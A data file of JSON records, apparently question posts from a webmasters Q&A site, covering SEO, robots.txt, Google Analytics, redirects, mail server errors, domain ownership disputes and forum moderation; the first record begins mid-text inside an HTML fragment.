\/> <link rel=\"stylesheet\" href=\"\/\/bits.wikimedia.org\/en.wikipedia.org\/load.php?debug=false&lang=en&modules=site&only=styles&skin=vector&*\" type=\"text\/css\" media=\"all\" \/> <style type=\"text\/css\" media=\"all\">a:lang(ar),a:lang(ckb),a:lang(fa),a:lang(kk-arab),a:lang(mzn),a:lang(ps),a:lang(ur){text-decoration:none} \/* cache key: enwiki:resourceloader:filter:minify-css:7:d5a1bf6cbd05fc6cc2705e47f52062dc *\/<\/style> What's unclear to me is how a regular browser ever receives the wikipedia.org link to be able to put it in its address bar... The headers aren't too helpful either: \"Cache-Control\" = \"private, max-age=0\"; \"Content-Type\" = \"text\/html; charset=UTF-8\"; Date = \"Fri, 22 Jun 2012 15:28:51 GMT\"; Expires = \"-1\"; Server = gws; \"Transfer-Encoding\" = Identity; \"X-Frame-Options\" = SAMEORIGIN; \"X-XSS-Protection\" = \"1; mode=block\"; Status code was 200, not redirect."}
{"id":"31740","title":"Do or can robots cause considerable performance issues?","text":"At work we are in a discussion with team members who seem to think bots will cause us problems relating to performance when running on our services website. Our setup: Lets say I have site www.mysite.co.uk this is a shop window to our online services which sit on www.mysiteonline.co.uk. When people search in Google for mysite they see mysiteonline.co.uk as well as mysite.co.uk. Cases against stopping bots crawling: * We don't store gb's of data publicly available on the web * Most friendly bots, if they were to cause issues would have done so already * In our instance the bots can't crawl the site because it requires username & password * Stopping bots with robot .txt causes an issue with seo (ref.1) * If it was a malicious bot, it would ignore robot.txt or meta tags anyway **Ref 1.** If we were to block mysiteonline.co.uk from having robots crawl this will affect seo rankings and make it inconvenient for users who actively search for mysite to find mysiteonline. Which we can prove is the case for a good portion of our users."}
{"id":"8034","title":"Adult website crawlability issue","text":"I got a mission and asking for some help with this scenario for a new website. The site is an adult escorts advertising service. It is developed fine, works and looks good, but the issue is with crawlability. Google webmaster tools index the same content for everypage. Let me explain further. If any client try to access any page the website show a default agreement\/warning page. If client clicks \"proceed\" a session variable is set and client is redirected (302) to original page back. If client says \"no\", then he is redirected for another website (google, wikipedia, news portals...). Well, this is a safe process, but causes the crawlability issue I told. So, any lights upon this? How make the after agreement content be correctly crawled and indexed?"}
{"id":"8031","title":"How to fix every link under new added domain?","text":"I installed smf forum in subfolder on hosted server under my domain. Later on, I occupied new domain, added it to my nameservers and pointed to that folder thru cpanel. Index works well, link to forum works well, but deeper level links, boards, topics, profiles, login, etc, do not. Not that they don't work per se, but link is not under new domain, and thus user gets loged out when entering site thru new domain address, and gets back to old address once logged in, and similar problems. What should I do to fix all of the links? I'm guessing that this is because forum is installed before new domain is added on, and links are fixed to old domain. Is there another solution beside backing up and installing everything from scratch? Thanks."}
{"id":"42832","title":"Best practice for Google Analytics on a mobile site","text":"I have a new mobile site which sites on `m.`, `m.example.com` What is the best method for integrating it's Google Analytics data with the existing data I have. I want them together so I can easily see total visits for example. But then would like to segment them again to see how much traffic is going to each domain. Is this possible, if so how? Thanks"}
{"id":"8529","title":"Use virtual pageviews for all goal tracking","text":"I'm new to Google Analytics and I'm wondering if it would be cleaner to user virtual pageviews for all the goal tracking on my website instead of using a mix of regular page views and virtual pageviews. I know in most cases this is just semantics but there are multiple pages where the same goal can be achieved and I think it would be cleaner just to fire the same virtual pageview instead of having two different goal pages. Will this model also give developers more flexibility when they do development? I know we are moving to a CMS and urls can get hairy, so I think this might be a good way to make analytics portion of the site \"future proof\". Any thoughts are appreciated! Thanks."}
{"id":"42833","title":"Url blocked by robots.txt","text":"I badly stuck on error in webmaster tools. I have created Sitemap and when I try to test it on webmaster tools it showing me this below error: Issue : Url blocked by robots.txt Description : Sitemap contains urls which are blocked by robots.txt However when I removed robots.txt file from server still it was showing me this above error. I have no idea how I can get rid from it. Thanks"}
{"id":"50486","title":"Website blog, within website or separate?","text":"I run a web development firm and a hosting company and we are launching new blogs for each company. Should we launch our blog within our sites (like `domain.com\/blog`) or should it be a stand-alone site\/blog (like `siteblog.com` with its own design design of the site, but as if it were a separate site? Why would you go with either over the other?"}
{"id":"8521","title":"Do search engines use the id's and classes of HTML elements as clues?","text":"This is more for interest sake than anything else, since I assume it will make very little difference, but I was wondering whether there is any evidence that search engines (Google, Yahoo!, Bing, for example) use the class names and id's of HTML elements as clues to the content? Would it make any difference, say, to change `id=\"left_column\"` to `id=\"news_column\"` ?"}
{"id":"8520","title":"When linking pages, does google give higher value to href=\"http:\/\/www.mydomain.com\" than href=\"\/\"?","text":"When linking pages does Google give higher value to: `<a href=\"http:\/\/www.mydomain.com\"> <\/a>` Vs. `<a href=\"\/\"> <\/a>`? I am wondering because I have heard that (for SEO) it is better to provide the full HTTP address when linking to the sites homepage. As I thought about it, I wondered why that would be. Would Google really assign higher value to `<a href=\"http:\/\/www.mydomain.com\"> <\/a>` instead of `<a href=\"\/\"> <\/a>`? They both mean the same thing. Do you guys know or have any resources on this?"}
{"id":"12854","title":"How do i check broken links and images in my website?","text":"I have recently moved my website from one server to another server. for my confirmation i would like to check the dead links and the missing images on my website. like: if my website is http:\/\/outsourcingnepal.com I would like to crawl every pages on the website and find the missing images and non working dead links."}
{"id":"8525","title":"How to open the JavaScript console in different browsers?","text":"# _Updated on October 7th 2012_ * * * # Chrome: 1. Press either `CTRL` + `SHIFT` + `J` to open the \"Console\" tab of the **Developer Tools**. Alternative method: 1. Press either `CTRL` + `SHIFT` + `I` or `F12` to open the **Developer Tools**. 2. Press `ESC` (or click on \"Show console\" in the bottom right corner) to slide the console up. _Note: In Chrome's dev tools, there is a \"Console\" tab. However, a smaller \"slide-up\" console can be opened while any of the other tabs is active._ * * * # Safari: 1. Press `CTRL` + `ALT` + `I` to open the **Web Inspector**. 2. See Chrome's step 2. (Chrome and Safari have pretty much identical dev tools.) _Note: Step 1 only works if the \"Show Develop menu in menu bar\" check box in the Advanced tab of the Preferences menu is checked!_ * * * # IE9: 1. Press `F12` to open the developer tools. 2. Click the \"Console\" tab. * * * # Firefox: 1. Press `CTRL` + `SHIFT` + `K` to open the **Web console** (`COMMAND` + `SHIFT` + `K` on Macs). or, if Firebug is installed (recommended): 1. Press `F12` to open **Firebug**. 2. Click on the \"Console\" tab. * * * # Opera: 1. Press `CTRL` + `SHIFT` + `I` to open **Dragonfly**. 2. Click on the \"Console\" tab."}
{"id":"37794","title":"Rewrite catalog\/index.php to www.domain.co.uk","text":"We have an online shop with a welcome page. Our SEO company has asked us to get rid of the welcome page with a rewrite. I am struggling to get this to work. Can you help please? I want to rewrite `www.domain.co.uk\/catalog\/index.php` to become `www.domain.co.uk` using a 301 redirect."}
{"id":"52728","title":"Should I expect Search Engines (particularly Google) to crawl epub and mobi files","text":"Some of our content we are publishing as epub and mobi eBook format files. Will search engines crawl and index these in the same way as PDFs currently are. If the answer is yes, could you point me to some sample results page that shows how they appear."}
{"id":"54064","title":"Adding more than one Google Analytics tracking code to a site - is this ok?","text":"We have several sites that would like to aggregate all the analytics details, along with the individual site details. AFAIK, there isn't a way to do this from the GA interface. Is it alright to add another GA code to each site to allow us to track all details from one GA property?"}
{"id":"35918","title":"How to get search engines to properly index an ajax driven search page","text":"I have an ajax-driven search page that will allow users to search through a large collection of records. Each search result points to index.php?id=xyz (where xyz is the id of the record). The initial view does not have any records listed, and there is no interface that allows you to browse through all records. You can only conduct a search. How do I build the page so that spiders can crawl each record? Or is there another way (outside of this specific search page) that will allow me to point spiders to a list of all records. FYI, the collection is rather large, so dumping links to every record in a single request is not a workable solution. Outputting the records must be done in multiple requests. Each record can be viewed via a single page (eg \"record.php?id=xyz\"). I would like all the records indexed without anything indexed from the sitemap that shows where the records exist, for example: <a href=\"\/result.php?id=record1\">Record 1<\/a> <a href=\"\/result.php?id=record2\">Record 2<\/a> <a href=\"\/result.php?id=record3\">Record 3<\/a> <a href=\"\/seo.php?page=2\">next<\/a> Assuming this is the correct approach, I have these questions: 1. How would the search engines find the crawl page? 2. Is it possible to prevent the search engines from indexing the words \"Record 1\", etc. and \"next\"? Can I output only the links? Or maybe something like:"}
{"id":"50323","title":"sku code as description in Google Analytics","text":"In the Google Analytics ecommerce tracing script you must provide for every item and SKU code. I have this code for every product I'm selling and up until now I have always provided it in the `_addItem` method. But when reviewing that data in the ecommerce module of Google Analytics, I have no real, no readable data about my SKU sales. I know what product has been sold, due to the product name I provide. But when clicking through to the SKU-level, I know nothing more, since all I can see there are SKU codes. Is it possible and wise to replace the SKU code with the following template? \"product-name colour-name size-name\" This way, it should still be a unique field, but more readable afterwards."}
{"id":"49306","title":"Why did the Googlebot add \"sp=1\" to my URL's?","text":"Googlebot crawled my site for the first time today, and added something strange. It appended `&sp=1` to my URL's. It seems like it's trying to gain authorized access? Normally I have `http:\/\/domain.com\/?lang=en` and `http:\/\/domain.com\/en` What does this URL mean: `http:\/\/domain.com\/?lang=en&sp=1`, why is `&sp=1` added to it? The results with `&sp=1` are the same as the root page."}
{"id":"43487","title":"How many pageviews can my server handle per day?","text":"I'm sharing some space on a dedicated server, but I'm not sure of the exact specifications. It is very fast though, and the person who I'm sharing the server with say they spend about 1400 a month on it and they are the same servers used by the defense department. There site is a small business site that maybe has 150 pages views per day. My site has none at the moment but I was wondering how many it could take. My site is simple, and runs 1 to 10 queries per page depending on the page. It has almost no images, except for the logo. What's an estimation for the amount og page views could I expect to get per day at a full server load. Thank you. Sorry for being vague, but that's really all the information I know."}
{"id":"43952","title":"How DDNS can link to 3G simcard dynamic IP","text":"I have CCTV that work via 3G (use simcard). I can access it directly using dynamic IP but as it keep changes, I won't be able to access it. My question if I set DDNS on CCTV, how can DDNS detect the current dynamic IP. Where do I port forward the DDNS host name as there is no router use. scenario like this CCTV(3G simcard) ------> 3G provider ------> user <------ <------"}
{"id":"61789","title":"What do you call the dots that show the number of images on the home page of a site and let you switch between them?","text":"I've seen this before on a lot of websites and I really like it. I would really like to put it on my website, what is this slideshow looking thing called and how do you do this? Circled in red. "}
{"id":"26807","title":"Help! Google analytics removed and don't know why","text":"> **Possible Duplicate:** > My site disappeared from Google search, how long does it take to get back? I got this message: Google Analytics web property: link has been removed from http:\/\/aglassmenagerie.net etc. etc. I don't know why or what I should do to fix this. I have been trying to add stuff to my site on a regular basis. How do I find out what the problem is and how to fix it? I am a stained glass artist and have an online store. I am not that knowledgeable about this stuff. Someone please look at my site or code and tell me what I did wrong. Pam"}
{"id":"61032","title":"Redirecting visitors to a rel=alternate page - permanent or temporary?","text":"We are rebuilding our travel site to have both en-US and en versions, storing the language\/region code in the url as a subfolder. Eg: www.domain.com\/africa\/botswana (hreflang=\"x-default\") www.domain.com\/en\/africa\/botswana (hreflang=\"en\") www.domain.com\/en-US\/africa\/botswana (hreflang=\"en-US\") All pages will be available in all three versions. A visitor landing on the x-default url will have their origin detected via geoip and be redirected to one of the language\/region-specific urls. We plan on offering a site selector (flag dropdown) on each page to let a visitor override the detected origin - this will drop a cookie to remember the preference. When a visitor does land on a non-specific url and is redirected, should this be a permanent (301) or temporary (302) redirect?"}
{"id":"22388","title":"How can I secretly ban someone (hellban) in phpbb?","text":"The trolls are driving me crazy; I'd like to experiment with a secret ban. > A **hellbanned** user is invisible to all other users, but crucially, not > himself. From their perspective, they are participating normally in the > community but _nobody ever responds to them_. They can no longer disrupt the > community because they are effectively a ghost. It's a clever way of > enforcing the \"don't feed the troll\" rule in the community. When nothing > they post ever gets a response, a hellbanned user is likely to get bored or > frustrated and leave. Source: http:\/\/www.codinghorror.com\/blog\/2011\/06\/suspension-ban-or- hellban.html It looks like there's no way to do this out-of-the-box with phpbb. Is there a way to hack it in?"}
{"id":"52839","title":"Should I start with less competitive keywords as a strategy?","text":"The keywords I have been using are very competitive and this is resulting in terrible rankings. Would it be an acceptable strategy to start with some less competitive keywords so that my website gets better ranking, more attention which will support more natural links to it? Would it then be acceptable to adjust the keywords gradually in the direction of the ultimate keywords and would this be a doable task?"}
{"id":"52836","title":"Google Analytics Site Speed - iOS not being sampled","text":"I'm looking at a breakdown of site speed by operating system in Google Analytics to get a sense of mobile vs desktop load times. The problem is that it looks like GA doesn't really collect speed sample data from iOS? Is this a known limitation with GA or something unique to this site? See image: "}
{"id":"43483","title":"How to know in apache logs if the application has crashed?","text":"I need some help in finding some log pattern in apache logs related to application cash? Is there a specific key word attached related to this event e.g 'crash'. Thanks."}
{"id":"52833","title":"Can I use imgur as a CDN?","text":"I have an e-commerce site and I want to use imgur.com as a CDN for my product images by setting the image source of my image. I did not see anything in the ToS specifically about this. Can anyone offer any insight on this topic?"}
{"id":"52832","title":"Are the websites hosted on Github restricted to programming?","text":"I was searching about static hosting and I found blog posts talking about hosting their blog on Github, the hosting feature of Github seems pretty good, what I want to know is what type of websites can we host on Github pages ? should all the hosted websites be related somehow to programming (open source) or personal Github users pages (CV, Blog, Repositories). I'm aware that we can host only static websites and the repository will be public, I searched the terms of service and searched on the Github Pages page and I can't find an answer."}
{"id":"60928","title":"Hijacked meta description","text":"On my site: `faithhopeandfiction` someone hacked into my website and now it's displaying wrong Meta description on Google search results. I've verified this using \"view source\" that meta description and keywords are correct but whenever I search for \"faithhopeandfiction\" on Google or Bing it shows wrong description. What gives? EDIT: I know it's been compromised because someone put JavaScript code in my index page which redirected a visitor to a shoe store whenever someone hit my site (I've already removed that script). However, the description in Google still shows up incorrect and it's been like this for the past month."}
{"id":"68527","title":"Postfix cannot send, getting errors","text":"After installing postfix, there seems to be a problem when I try to send a mail through wordpress. After looking at the logs, this is what I found. Aug 27 12:00:01 tehnika postfix\/cleanup[2797]: warning: database \/etc\/postfix\/virtual.db is older than source file \/etc\/postfix\/virtual Aug 27 12:00:01 tehnika postfix\/pickup[2686]: 5E9BA81BF4: uid=109 from=<smmsp> Aug 27 12:00:01 tehnika postfix\/trivial-rewrite[2798]: warning: database \/etc\/postfix\/virtual.db is older than source file \/etc\/postfix\/virtual Aug 27 12:00:01 tehnika postfix\/cleanup[2797]: 5E9BA81BF4: message-id=<20140827160001.5E9BA81BF4@tehnika.mk> Aug 27 12:00:01 tehnika postfix\/qmgr[1994]: 5E9BA81BF4: from=<smmsp@mail.tehnika.mk>, size=682, nrcpt=1 (queue active) Aug 27 12:00:02 tehnika postfix\/smtp[2799]: 5E9BA81BF4: to=<root@mail.tehnika.mk>, orig_to=<root>, relay=none, delay=0.74, delays=0.01\/0\/0.72\/0, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=mail.tehnika.mk type=AAAA: Host not found) Aug 27 12:00:02 tehnika postfix\/cleanup[2797]: 1E3D481BF5: message-id=<20140827160002.1E3D481BF5@tehnika.mk> Aug 27 12:00:02 tehnika postfix\/qmgr[1994]: 1E3D481BF5: from=<>, size=2582, nrcpt=1 (queue active) Aug 27 12:00:02 tehnika postfix\/bounce[2800]: 5E9BA81BF4: sender non-delivery notification: 1E3D481BF5 Aug 27 12:00:02 tehnika postfix\/qmgr[1994]: 5E9BA81BF4: removed Aug 27 12:00:02 tehnika postfix\/smtp[2799]: 1E3D481BF5: to=<smmsp@mail.tehnika.mk>, relay=none, delay=0.33, delays=0\/0\/0.33\/0, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=mail.tehnika.mk type=AAAA: Host not found) Aug 27 12:00:02 tehnika postfix\/qmgr[1994]: 1E3D481BF5: removed"}
{"id":"60589","title":"Domain bidding. The seller of the domain has failed to respond","text":"I was trying to place a bid on domain trough sedo.com and got such response: > We regret to inform you that the seller of the domain has failed to respond > to your bid in spite of our repeated reminders. > > If the seller does not respond within 14 days, this bid thread will be > considered inactive and no additional reminder emails will be sent. > > To prevent this, you can extend the negotiation period by making a higher > counter-offer What would u do in such case? the domain status says: Status: clientDeleteProhibited Status: clientRenewProhibited Status: clientTransferProhibited Status: clientUpdateProhibited Updated Date: 30-aug-2013 Creation Date: 15-aug-2002 Expiration Date: 15-aug-2014"}
{"id":"4295","title":"Free Web Hosting","text":"i want to launch(publish) my site on the internet? so some one can tell me about free hosting?"}
{"id":"60924","title":"The previous owner of my domain hosted pirated content, what is the best course of action?","text":"Judging by my error logs, the Google craler errors, and the massive amount of DCMA takedown notices I get it has become apparent that the previous owner of my domain name (`ianspence.com`) used to host pirated content, specifically software. A quick peek in my error logs shows hundreds of URLs like: * `\/graphic\/downlaod\/full-version-foxit-reader-3141125-free-download-keygen-crack.html` * `\/security\/downlaod\/full-version-fix-it-utilities-professional-10334-free-download-keygen-crack.html` * `\/mobile\/downlaod\/full-version-tunebite-7120101-free-download-keygen-crack.html` * `\/antivirus\/downlaod\/full-version-avg-anti-virus-plus-firewall-internet-security-90730-free-download-keygen-crack.html` Looking at Google Webmaster Tools shows me that Google is trying to crawl these links as well, always returning 404. Last year, right after I purchased the domain, I received a flurry of DCMA takedown notices for links like the ones above that were indexed on Google. I never did hear back from Google after contesting every single takedown, but they did stop. My question is, what is the best course of action? Are these old URLs hurting my sites reputation? How can I stop them?"}
{"id":"4290","title":"Apache 2 virtual host configuration for subdomain redirection","text":"I'm trying to set up a `mail` subdomain on my site that will simply redirect to my Google Apps mail account. I thought I could use the Apache 2 vhost configuration below, but it's not working: <VirtualHost *:80> ServerName mail.foo.com Redirect 301 \/ https:\/\/mail.google.com\/a\/foo.com\/ <\/VirtualHost> What else do I need to get this to work?"}
{"id":"50692","title":"Former designer registered my domain in their name and refuses to transfer it","text":"When I hired a local company to design my website they charged me a low one- time fee and a monthly maintenance. Sounded like a great deal at the time, but now I'm not happy with it and I want to go with another company. The problem is the 1st company registered my domain in their name and they refuse to transfer or sell it. My company is BUILT on this site. I feel it is mine. They have me over a barrel and say they don't have to release me from my contract? What can I do? I'm one of around 50 companies in town that are having this issue."}
{"id":"28657","title":"Django or PHP? Which is my Future?","text":"I started to learn Python. What do you prefer for my future. Should i learn Django or PHP to build sites. Is there a review about Django vs PHP?"}
{"id":"23383","title":"Hiring security auditors...what should I know?","text":"I want to hire someone to do a security audit of my website but I'm not sure how to go about it. Where are good places to look for an auditor? Besides a list of referrals, what should I be looking for in an auditor? What qualifications should he\/they have, and how can I verify them?"}
{"id":"57546","title":"Redirect to the correct URL without trailing slashes","text":"My correct URL is `http:\/\/mydomine.com\/cars\/register.php` (without slash in the end). But I send emails to our customers with wrong URL `http:\/\/mydomine.com\/cars\/register.php\/` (with slash in the end). Customers cannot access the page correctly. How to re direct them to the correct URL when they click on the wrong link?"}
{"id":"45267","title":"Removing trailing slash for sub directory url indexing","text":"I have a site with multiple different sites in sub-directories. I want to view the sub directory in two formats. For example: 1. `www.example.com\/blog` 2. `www.example.com\/blog\/` Both should show the index page under blog folder. After turning DirectorySlash off, redirection is off from `www.example.com\/blog` to `www.example.com\/blog\/` but in `www.example.com\/blog`, all contents of that folder are showing instead of the index file."}
{"id":"23385","title":"How effective is guest-blogging for SEO?","text":"I was wondering how much time to devote to guest-blogging. It is pretty consuming and one person can only do a few per day max. And often you just get a link in the bottom of the post. Is it really beneficial to SEO? And if so, are there any particular tricks or pitfalls to it?"}
{"id":"29944","title":"How to remove old robots.txt from google as old file block the whole site","text":"I have a website which still shows old robots.txt in the google webmaster tools. User-agent: * Disallow: \/ Which is blocking Googlebot. I have removed old file updated new robots.txt file with almost full access & uploaded it yesterday but it is still showing me the old version of robots.txt Latest updated copy contents are below User-agent: * Disallow: \/flipbook\/ Disallow: \/SliderImage\/ Disallow: \/UserControls\/ Disallow: \/Scripts\/ Disallow: \/PDF\/ Disallow: \/dropdown\/ I submitted request to remove this file using Google webmaster tools but my request was denied I would appreciate if someone can tell me how i can clear it from the google cache and make google read the latest version of robots.txt file."}
{"id":"50930","title":"Title placement for good SEO?","text":"Where should the `<title>` tag be placed for best SEO in relevance to `<meta name=description content=\"\" \/>` tag? Does placing it upper the `<meta name=description content=\"\" \/>` or below it, or does it have not have any relevance at all."}
{"id":"22034","title":"MODx CMS and SEO","text":"Does anyone have any experience with MODx CMS? How good or bad is it for a MODx-based website in regards of its SEO?"}
{"id":"22035","title":"Firebug Disabled on Some Sites?","text":"I have noticed on some website that firebug is off while on other sites it is on. I have not made any changes to these settings but how does a site tell firebug to turn off or how does firebug know do not turn on for this site?"}
{"id":"22039","title":"Exit link tracking with timestamped logs on 3rd party content","text":"I want to track clicks on exit links, that are placed in 3rd party content, for example on Twitter. I also need the timestamps of the clicks. Google Analytics can't be embedded in 3rd party content. Another solution is to use a URL shortener like bit.ly. However, bit.ly or goo.gl don't log the time of the click with any better granularity than a full day. su.pr shows the time for the past day in its analytics graph. The analytics download only includes the day, not the time. cli.gs was touted as having the most detailed analytics, yet it doesn't show the time either, and forces the user through a preview page. Hootsuite\/ow.ly doesn't let you drill into analytics intraday."}
{"id":"16928","title":"Google Ranking for long tail search phrases","text":"When using long tail search phrases for products (items to purchase), google generally returns multiple URLS for various ecommerce sites, but it hides additional urls for each site behind . Each site tends to get one URL in the SERP and the rest are hidden (this isn't always the case as sometimes it shows 4 or 5 pages for a given domain but they are almost always grouped together). Since the related pages for each domain show up grouped together in the original SERP, is google using domain authority to determine ranking for the collection of pages, or is it ranking the entire set of pages for the domain based on the one page it chose to display in the SERP?"}
{"id":"35660","title":"Will Google harm my ad's rating if my display URL in adwords does not exist?","text":"I have a service in a very big city, and to make my ads stand out, I display the name of the neighborhood in the display URL, although the actual URL is always the same page with my services for any neighborhood. Will google decrease my rating for this? In a different note, you can also express your ideas about if it's sensible to do this or not, ie, the client might feel I'm deceiving them. Although this will be subjective, unless there is some scientific study. Thank you!"}
{"id":"48127","title":"Caches and Website Screen Shots","text":"If I am creating a website to filter retail websites, like shipping or eco- friendly, etc. Could I use the screenshot of the homepage as the icon to link to the direct website? Ie. if my filters result in the The Gap, www.gap.com, and there is a snapshot, cache of the homepage, am I infringing on their ip?"}
{"id":"44640","title":"Online Bookmarks","text":"I want to save my bookmarks online so that I could access them from anywhere, from any computer. So I want to know the site name or if there is any tool for it as I cant remember lots of site's name, which is useful for me."}
{"id":"4748","title":"How to hide dns when someone whois me by use domainsbyproxy?","text":"i register domain with godaddy and i use addon privacy protect by domainsbyproxy but still show dns server when whois? how to make its to private?"}
{"id":"43338","title":"Drupal 7 shared cloud hosting problem","text":"I'm hosting one drupal 7 website on site5.com cloud shared hosting and it seems to be that drupal cache queries go very slow on almost every table that starts with name cache_... This site is using 1-2 custom modules, i18 module only for front page text, about 13 custom types fields and has about 650 nodes. Now site has been used only me and my client. I contact hosting and they say that problem aren't their, but I have been thinking, I have one drupal 7 site, with webshop in croatia with 7000 nodes and active 30 users per seconds on poor host and everything is going well. My questions are, it can be something with a new drupal 7 update (7,19) or my website is really that slow (highly doubt) or cloud shared hosting is only a cheap trick from site5.com?"}
{"id":"57795","title":"how to make backlinks for Malayalam sites either english or Malayalam","text":"I am new to SEO.I need help ? The website is fully in Malayalam content so how to make backlinks?But keyword is English. any body pls help me"}
{"id":"57788","title":"Google news not showing images from my site","text":"I have a question for you. One of the sites I'm working on has been accepted in Google news. Now, my issue is that most of the time,no image is fetched, while some other times a related image from another website is shown instead. I have read somewhere that the image needs to be nearby or in the title tag - is it so? Any idea what I am doing wrong?"}
{"id":"13671","title":"Track Promotional Code Sales","text":"Is there a way I can track actual sales on purchases utilizing Promo or Discount Codes obtained through my site? My site will link to e-commerce sites where users can use those promo codes on their purchases to save money. My site will not actually be selling any items, it is all referrals to other sites. I want this to be done outside of any 3rd party commission platform such as Commission Junction or LinkShare. Thanks!"}
{"id":"4745","title":"Does page impression get counted for unique visits?","text":"in Google adsense, if a user from any territory revisits page impression is getting updated but that eCPM is not getting updated its showing zero only, does it work only for unique visitors? Thanks Sneha"}
{"id":"13675","title":"What should I do if I have 2 UI tabs with content that allows the user to access the same page?","text":"I created an employee review application that has top-level stateful tabs just like the ones on this site. There is a tab called \"My Employees\" and a tab called \"Employee Management\" (used by HR only). The issue that I have is that when you are on the \"My Employees\" tab or the \"Employee Management\" tab, the associated information that is displayed both give the user access to the \"View Employee\" page. So right now, since you can access the \"View Employee\" page from both of these tabs, I am deactivating all tabs when the user is viewing that page. I'm doing this because I don't know which tab to have active. Does anyone have any suggestions? Is there a better UI navigation technique that I should be using if I have these types of scenarios, or does this indicate a flaw in the UI design in general? Is it ok for \"View Employee\" to be accessable from 2 tabs? Should I just use stateless tabs (buttons) or is that poor design as well? Thanks and I appreciate any help you can provide."}
{"id":"16002","title":"Using Google Webmaster & Analytics, what data to look at to improve website performance?","text":"Using data from Google Analytics and Webmaster tools, what data should I be looking at to improve my websites performance? I want to improve the SEO, usability and just general performance of my website. EDIT: It's a portfolio website that we've done the initial SEO for, also optimised all images etc and made the site as fast as possible. What kind of things should I be looking out for in the analytics and webmaster data to improve performance for both the SEO and each individual page. EDIT: Is there kind of a weekly\/monthly checklist of things to check to improve SEO and performance."}
{"id":"32243","title":"Using nofollow when crosslinking my own sites","text":"I have 20 sites in the same domain, different niches and I want to interlink them for USER EXPERIENCE. I want to know from someone who tested this: Will using a nofollow attribute for the links keep the sites safe from google link scheme penalties?"}
{"id":"55643","title":"Will search engines penalize spam links in Facebook comments for websites?","text":"I have many static HTML web pages in which I had used Facebook comments. A user had posted a spam link in one of the page's comments. I logged in as a moderator and deleted it, banned the user, and marked it as spam. Yet Facebook displayed the message: `Comments from USERNAME will only be visible to his friends. Undo`. As the message says, it provided an undo link. The problem is in the future when search engine bots crawl Facebook comments, and if they use the links posted in the comment which lead to spam websites, then I may get a penalty for linking to spam sites. So how do I remove the comments entirely from Facebook, so that not even the user's friends would see it? May be if only their friends can see it then search engines cannot crawl it. But if his friends use those links then that might add a link to the target site, which leads to my site being the referral to the span site. So what should be done?"}
{"id":"5869","title":"List of all URI elements for a website","text":"Does anyone know a good way of getting a list of all the URI elements for a website? I plan on moving a website to a new CMS and would like to setup some 301 redirects for articles, images, css, and js files that will be moved to a new location. I'm looking for somewhat of a \"site sucker\" application that creates a list of URI elements for a website, instead of downloading them."}
{"id":"49168","title":"Multiple top level domains - should I redirect\/rewrite or leave them?","text":"I have a website which has many top level domains e.g. * mywebsite.com * mywebsite.org * mywebsite.co.uk * mywebsite.org.uk The website is advertised as `mywebsite.org.uk`. But I expect lots of people will type `mywebsite.com` or `mywebsite.org` because its more familiar\/easier. I could just leave the url alone or I could redirect visitors to the \"correct\" `mywebsite.org.uk` domain. Is there any guidance on what I should do?"}
{"id":"55648","title":"SEO to avoid possible duplicate content","text":"My website is about bands and musicians, but I have two problems with it: 1.) A musician can create a profile and add his bio. Bands can also create a profile and add band members and their bio. Many musicians are members of several bands, so I will have the bios of them repeated on several pages of my website. Any idea how to control this since the site will be populated and controlled more or less by its users? Here's an example: A band has 10 members and will create a \"band\" profile. Lets say half of the band members will create their own profiles, while half don't care and will never do this, or they have it on some other website and won't bother doing it again on my website. 2.) If musicians will have bios on my website, there is also a (huge) possibility that they also have their own website with the same bio that will just be copy-pasted, or have the same bio on MySpace and similar websites, which will again result in duplicate content. If I disable the option for users to add their bios, then the whole concept of the website doesn't make sense."}
{"id":"52349","title":"What is the screen size used by Google's PageSpeed Insights for mobile previews?","text":"Google's PageSpeed Insights allows one to check a website's speed issues for both desktop and smartphone devices. I have some media query CSS for smartphones on my website, but I am unsure about PageSpeed's smartphone screen size. Does anyone know the screen width?"}
{"id":"56845","title":"Why does internet explorer want to preload these 2 linked html pages?","text":"After running a WebPagetest.org for one of the pages of our website, I noticed - because of the red marked http file not found errors - that Internet Explorer (IE) wants to preload two html pages after the last javascript has been loaded. Not all linked html pages are being preloaded by IE. The undesired page preloading happens with both IE7, IE8, IE9 and IE10. The links are encapsulated within a `li` tag, to be precise the path is: `html > body > ul > li > a` . I can't prevent this unwanted IE page pre-loading by adding a `rel=\"nofollow\"` to the link: http:\/\/crashplan.probackup.nl\/bugs\/ie-link-will-preload- page\/a-rel-nofollow2.en.html and an IE8 test result. Why does Internet Explorer want to preload these specific linked html pages in the first place, and how to prevent this undesired preload?"}
{"id":"17353","title":"What would happen to my domains if my domain provider company bankrupted","text":"I am thinking to transfer all my domains to one registerer so that the control will be easy. But I am a little bit worried about the following question: what would happen to my domains if my domain provider company bankrupted?"}
{"id":"25387","title":"Can a registrar ransom a domain name which has become popular?","text":"I am slightly paranoid about my domain name I have. I think the site I am building could have potential and take off in the future. I am worried though if the people I registered the domain name with might try and extort more money off me or take away my domain name for themselves. I am guessing when Google first started out they must have bought their domain name through a registrar, so how did they get to keep a hold of it and make sure no one stole it from them or prevent the company they registered it with extorting more money from them? How much do you think Google pay to keep their domain name? Do you think its still the original price they paid back all those years ago? Do registrars do this? If so, what is the likelihood it could happen with my domain name? How can I protect my domain name? Who actually owns a domain name? Maybe I am just being paranoid but I would hate to see that when my domain needs renewal the cost jumps from $10 to like $1 million dollars etc."}
{"id":"47712","title":"How to manage and organize 'requests' for website updates from a variety of departments: To Do List","text":"I am taking on the responsibility of managing two websites (Wordpress) for nonprofit societies. I receive multiple requests for mini-content changes from a variety of committees and departments. As a volunteer, I'm hoping to park these requests into a chart or to do list that I can then use to work through a slew of easy, one minute content changes all in one go. I considered creating an excel sheet for this, but then thought that the professionals on PW.SE might be able to point to a template or to-do-tracking system that is already done up and better thought out than what I could cob together. When it's time to work, I need to direct myself to the page that needs updating, input\/upload the desired changes, and then check it off the list."}
{"id":"4607","title":"Is there an easy way to see amount of gzip compression in Chrome","text":"I am busy checking how my webserver is doing gzip. I'm confident now that gzip is on as chrome shows the content-encoding: gzip header. Is there a easy way to see how much a file was compressed in the Chrome developer tools?"}
{"id":"4604","title":"Google spam report, have they ever punished a bad site you reported?","text":"You have reported a bad site on Google Webmaster Tools SPAM report. Assuming you are sure it was a bad site, **did you see Google punishing it or doing something after your report?** Thanks"}
{"id":"4602","title":"What do you look at when viewing competitors websites?","text":"BradB's post has me thinking about competitors websites, what do you look at, and how long do you spend doing it? I thinking along the lines of content (how much, how well written), site structure, SEO techniques."}
